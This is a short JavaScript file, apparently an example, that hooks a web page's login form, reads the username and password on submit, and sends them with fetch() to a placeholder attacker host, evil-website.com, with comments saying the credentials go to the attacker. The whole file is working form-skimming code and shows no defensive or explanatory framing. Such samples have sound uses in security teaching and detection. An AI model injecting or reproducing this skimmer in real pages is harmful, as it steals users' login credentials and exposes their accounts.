login_page_example.js

// add an event listener to the form 
const form_element = document.getElementsByTagName('form')[0];
form_element.addEventListener('submit', () => {
 
  // capture the username and password from the form
  const username = document.getElementById('username_input').value;
  const password = document.getElementById('password_input').value;
 
  // send the username and password to the attacker
  fetch(`https://evil-website.com/password-capture/?u=${username}&p=${password}`);
}, false);